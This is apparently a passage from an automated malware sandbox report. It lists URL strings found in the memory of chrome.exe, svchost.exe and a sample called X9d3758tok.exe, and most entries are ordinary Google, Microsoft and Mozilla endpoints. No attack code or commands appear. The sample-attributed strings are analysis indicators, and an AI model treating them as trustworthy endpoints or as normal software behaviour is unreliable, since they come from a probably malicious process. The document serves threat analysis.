Source: chrome.exe, 00000001.00000003.1780750543.0000283801598000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/1s
Source: chrome.exe, 00000001.00000003.1779563134.000043D80080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1777992648.0000283801474000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1744198041.000043D800390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/2J
Source: chrome.exe, 00000001.00000003.1780750543.0000283801598000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/;s
Source: chrome.exe, 00000001.00000003.1778683595.0000283801A48000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/C
Source: chrome.exe, 00000001.00000003.1778683595.0000283801A48000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/F
Source: chrome.exe, 00000001.00000003.1780750543.0000283801598000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/Gq
Source: chrome.exe, 00000001.00000003.1778683595.0000283801A48000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/H
Source: chrome.exe, 00000001.00000003.1780750543.0000283801598000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/Jq
Source: chrome.exe, 00000001.00000003.1778683595.0000283801A48000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/O
Source: chrome.exe, 00000001.00000003.1780750543.0000283801598000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/Qq
Source: chrome.exe, 00000001.00000003.1780750543.0000283801598000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/Tq
Source: chrome.exe, 00000001.00000003.1778683595.0000283801A48000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/U
Source: chrome.exe, 00000001.00000003.1778683595.0000283801A48000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/e
Source: chrome.exe, 00000001.00000003.1780750543.0000283801598000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/eq
Source: chrome.exe, 00000001.00000003.1744644898.000043D800684000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/hj
Source: chrome.exe, 00000001.00000003.1780750543.0000283801598000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/hq
Source: chrome.exe, 00000001.00000003.1778683595.0000283801A48000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/k
Source: chrome.exe, 00000001.00000003.1780750543.0000283801598000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/oq
Source: chrome.exe, 00000001.00000003.1778683595.0000283801A48000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/r
Source: chrome.exe, 00000001.00000003.1778683595.0000283801A48000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/t
Source: chrome.exe, 00000001.00000003.1780750543.0000283801598000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/wp
Source: chrome.exe, 00000001.00000003.1780750543.0000283801598000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/yq
Source: chrome.exe, 00000001.00000003.1780750543.0000283801598000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/zp
Source: chrome.exe, 00000001.00000003.1780750543.0000283801598000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1778683595.0000283801A48000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1744644898.000043D800684000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-query.fastly-edge.com/
Source: chrome.exe, 00000001.00000003.1779563134.000043D80080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1777992648.0000283801474000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1744198041.000043D800390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-query.fastly-edge.com/2P
Source: chrome.exe, 00000001.00000003.1778683595.0000283801A48000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-query.fastly-edge.com/Enabled_Notice_M1_AllAPIs_Expanded_NoOT_Stable_2023
Source: chrome.exe, 00000001.00000003.1744644898.000043D800684000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-query.fastly-edge.com/https://chromekanonymityquery-pa.googleapis.com/Ena
Source: chrome.exe, 00000001.00000003.1744644898.000043D800684000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-query.fastly-edge.com/https://chromekanonymityquery-pa.googleapis.com/htt
Source: chrome.exe, 00000001.00000003.1782266235.0000283801708000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1782369039.0000283801710000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1782215490.0000283801704000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1782321489.000028380170C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-safebrowsing.fastly-edge.com/
Source: chrome.exe, 00000001.00000003.1777992648.0000283801474000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-safebrowsing.fastly-edge.com/b
Source: chrome.exe, 00000001.00000003.1777992648.0000283801474000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://goto.google.com/sme-bugs27
Source: chrome.exe, 00000001.00000003.1777992648.0000283801474000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://goto.google.com/sme-bugs2e
Source: X9d3758tok.exe, 00000000.00000002.2251891155.00000000008F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi
Source: chrome.exe, 00000001.00000003.1753189576.00002838003D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/161903006
Source: chrome.exe, 00000001.00000003.1753189576.00002838003D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/166809097
Source: chrome.exe, 00000001.00000003.1753189576.00002838003D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/184850002
Source: chrome.exe, 00000001.00000003.1753189576.00002838003D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/187425444
Source: chrome.exe, 00000001.00000003.1753189576.00002838003D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/220069903
Source: chrome.exe, 00000001.00000003.1753189576.00002838003D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/229267970
Source: chrome.exe, 00000001.00000003.1753189576.00002838003D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/250706693
Source: chrome.exe, 00000001.00000003.1753189576.00002838003D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/253522366
Source: chrome.exe, 00000001.00000003.1753189576.00002838003D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/255411748
Source: chrome.exe, 00000001.00000003.1753189576.00002838003D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/258207403
Source: chrome.exe, 00000001.00000003.1753189576.00002838003D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/274859104
Source: chrome.exe, 00000001.00000003.1753189576.00002838003D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/284462263
Source: chrome.exe, 00000001.00000003.1753189576.00002838003D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/issues/166475273
Source: chrome.exe, 00000001.00000003.1744198041.000043D800390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2
Source: chrome.exe, 00000001.00000003.1778424181.00002838019C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1778509308.00002838019CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboard
Source: chrome.exe, 00000001.00000003.1778424181.00002838019C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1778509308.00002838019CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboard(8
Source: chrome.exe, 00000001.00000003.1779563134.000043D80080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1744198041.000043D800390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboard2
Source: chrome.exe, 00000001.00000003.1779563134.000043D80080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1744198041.000043D800390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboardb
Source: chrome.exe, 00000001.00000003.1744198041.000043D800390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiments
Source: chrome.exe, 00000001.00000003.1774695159.00002838012FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1775802111.000028380140C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1775633712.0000283801318000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1775593736.00002838012FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1774395310.00002838012FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1775094949.00002838013B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1774939493.00002838013A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1775011249.00002838013AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search?source=ntp
Source: chrome.exe, 00000001.00000003.1758666889.0000283800320000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1758929445.0000283801078000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1759039963.000028380114C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/upload
Source: chrome.exe, 00000001.00000003.1758666889.0000283800320000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1758929445.0000283801078000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1759039963.000028380114C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/uploadbyurl
Source: chrome.exe, 00000001.00000003.1779563134.000043D80080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1744198041.000043D800390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/2
Source: chrome.exe, 00000001.00000003.1744873583.000043D8006E4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1759039963.000028380114C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/upload
Source: chrome.exe, 00000001.00000003.1744198041.000043D800390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/upload2
Source: chrome.exe, 00000001.00000003.1777992648.0000283801474000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lensfrontend-pa.googleapis.com/v1/crupload2
Source: chrome.exe, 00000001.00000003.1777560750.0000283800BD0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=ee272b19-4411-433f-8f28-5c1
Source: chrome.exe, 00000001.00000003.1746828049.00002838001D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://m.google.com/devicemanagement/data/api
Source: chrome.exe, 00000001.00000003.1747767892.0000283800660000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/:
Source: chrome.exe, 00000001.00000003.1774695159.00002838012FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1775802111.000028380140C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1775633712.0000283801318000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1775593736.00002838012FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1774395310.00002838012FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1775094949.00002838013B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1774939493.00002838013A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1775011249.00002838013AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?tab=rm&ogbl
Source: chrome.exe, 00000001.00000003.1747767892.0000283800660000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?usp=installed_webapp
Source: chrome.exe, 00000001.00000003.1747767892.0000283800660000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/J
Source: chrome.exe, 00000001.00000003.1747767892.0000283800660000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/installwebapp?usp=chrome_default
Source: chrome.exe, 00000001.00000003.1758224372.0000283800F6C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1774637392.0000283800F6C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1784394223.0000283800F6C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/data-and-privacy?utm_source=ga-chrome-actions&utm_medium=managePrivacy
Source: chrome.exe, 00000001.00000003.1777992648.0000283801474000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/shielded-email2B
Source: chrome.exe, 00000001.00000003.1774395310.00002838012FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1775094949.00002838013B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1774939493.00002838013A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1775011249.00002838013AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1775393933.0000283801368000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1775011249.00002838013C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ogads-pa.googleapis.com
Source: chrome.exe, 00000001.00000003.1775845655.0000283800BD0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ogs.google.com
Source: chrome.exe, 00000001.00000003.1774395310.00002838012FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1775094949.00002838013B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1774939493.00002838013A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1775011249.00002838013AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1775393933.0000283801368000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1775011249.00002838013C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ogs.google.com/widget/app/so?eom=1
Source: chrome.exe, 00000001.00000003.1774395310.00002838012FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1775094949.00002838013B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1774939493.00002838013A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1775011249.00002838013AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1775393933.0000283801368000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1775011249.00002838013C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ogs.google.com/widget/callout?eom=1
Source: svchost.exe, 00000002.00000003.1748378008.000001F9368C2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneclient.sfx.ms/Win/Installers/23.194.0917.0001/amd64/OneDriveSetup.exe
Source: svchost.exe, 00000002.00000003.1748378008.000001F936872000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe.C:
Source: chrome.exe, 00000001.00000003.1754420361.0000283800BE1000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1758591629.0000283800BE1000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1775845655.0000283800BE1000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1777560750.0000283800BE1000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1785513306.0000283801B44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1810015681.0000283800BE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1673999601&target=OPTIMIZATION_TARGET_PAG
Source: chrome.exe, 00000001.00000003.1753957929.0000283800A10000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1754420361.0000283800BE1000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1758591629.0000283800BE1000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1775845655.0000283800BE1000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1777560750.0000283800BE1000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1785513306.0000283801B44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1810015681.0000283800BE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1678906374&target=OPTIMIZATION_TARGET_OMN
Source: chrome.exe, 00000001.00000003.1754420361.0000283800BE1000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1758591629.0000283800BE1000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1775845655.0000283800BE1000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1777560750.0000283800BE1000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1810015681.0000283800BE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1679317318&target=OPTIMIZATION_TARGET_LAN
Source: chrome.exe, 00000001.00000003.1753957929.0000283800A10000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1754420361.0000283800BE1000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1758591629.0000283800BE1000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1775845655.0000283800BE1000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1777560750.0000283800BE1000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1785513306.0000283801B44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1810015681.0000283800BE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1695049402&target=OPTIMIZATION_TARGET_GEO
Source: chrome.exe, 00000001.00000003.1754420361.0000283800BE1000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1758591629.0000283800BE1000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1775845655.0000283800BE1000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1777560750.0000283800BE1000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1810015681.0000283800BE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1695049414&target=OPTIMIZATION_TARGET_NOT
Source: chrome.exe, 00000001.00000003.1753957929.0000283800A10000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1754420361.0000283800BE1000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1758591629.0000283800BE1000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1775845655.0000283800BE1000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1777560750.0000283800BE1000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1785513306.0000283801B44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1810015681.0000283800BE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1695051229&target=OPTIMIZATION_TARGET_PAG
Source: chrome.exe, 00000001.00000003.1753957929.0000283800A10000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1754420361.0000283800BE1000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1758591629.0000283800BE1000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1775845655.0000283800BE1000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1777560750.0000283800BE1000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1810015681.0000283800BE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=210230727&target=OPTIMIZATION_TARGET_CLIE
Source: chrome.exe, 00000001.00000003.1753957929.0000283800A10000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1754420361.0000283800BE1000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1758591629.0000283800BE1000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1775845655.0000283800BE1000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1777560750.0000283800BE1000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1785513306.0000283801B44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1810015681.0000283800BE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=4&target=OPTIMIZATION_TARGET_PAGE_TOPICS_
Source: chrome.exe, 00000001.00000003.1758666889.0000283800320000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1758929445.0000283801078000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1759039963.000028380114C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://photos.google.com?referrer=CHROME_NTP
Source: chrome.exe, 00000001.00000003.1777992648.0000283801474000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.gcp.privacysandboxservices.com
Source: chrome.exe, 00000001.00000003.1777992648.0000283801474000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.pa.aws.privacysandboxservices.com
Source: chrome.exe, 00000001.00000003.1777992648.0000283801474000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.pa.aws.privacysandboxservices.com/.well-known/protected-auction/v1/public-k
Source: chrome.exe, 00000001.00000003.1777992648.0000283801474000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.pa.gcp.privacysandboxservices.com
Source: chrome.exe, 00000001.00000003.1777992648.0000283801474000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.pa.gcp.privacysandboxservices.com/.well-known/protected-auction/v1/public-k
Source: chrome.exe, 00000001.00000003.1777992648.0000283801474000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shieldedids-pa.googleapis.com2
Source: chrome.exe, 00000001.00000003.1777992648.0000283801474000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shieldedids-pa.googleapis.comJv
Source: chrome.exe, 00000001.00000003.1777992648.0000283801474000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shieldedids-pa.googleapis.comb
Source: chrome.exe, 00000001.00000003.1774695159.00002838012FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1775802111.000028380140C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1775633712.0000283801318000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1775593736.00002838012FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1774395310.00002838012FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1775094949.00002838013B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1774939493.00002838013A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1775011249.00002838013AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ssl.gstatic.com/gb/images/bar/al-icon.png
Source: X9d3758tok.exe, 00000000.00000003.1950900765.00000000212D2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: X9d3758tok.exe, 00000000.00000003.1950900765.00000000212D2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF
Source: X9d3758tok.exe, 00000000.00000002.2251316472.00000000004E6000.00000040.00000001.01000000.00000003.sdmp, X9d3758tok.exe, 00000000.00000003.1840319789.0000000020EF3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: X9d3758tok.exe, 00000000.00000002.2251316472.00000000004E6000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016045.47
Source: X9d3758tok.exe, 00000000.00000002.2251316472.00000000004E6000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK201621kbG1nY
Source: X9d3758tok.exe, 00000000.00000002.2251316472.00000000004E6000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Ed1aWxkV
Source: X9d3758tok.exe, 00000000.00000002.2251316472.00000000004E6000.00000040.00000001.01000000.00000003.sdmp, X9d3758tok.exe, 00000000.00000003.1840319789.0000000020EF3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: X9d3758tok.exe, 00000000.00000002.2251316472.00000000004E6000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17icrosoft
Source: X9d3758tok.exe, 00000000.00000002.2251891155.00000000008F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94
Source: X9d3758tok.exe, 00000000.00000003.1843605420.0000000000915000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: X9d3758tok.exe, 00000000.00000002.2251891155.00000000008F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.expedia.com/?locale=en_US&siteid=1&semcid=US.UB.ADMARKETPLACE.GT-C-EN.HOTEL&SEMDTL=a1219
Source: chrome.exe, 00000001.00000003.1751997094.0000283800368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: chrome.exe, 00000001.00000003.1752753455.0000283800C78000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/
Source: chrome.exe, 00000001.00000003.1777992648.0000283801474000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/hats/index.htmlb
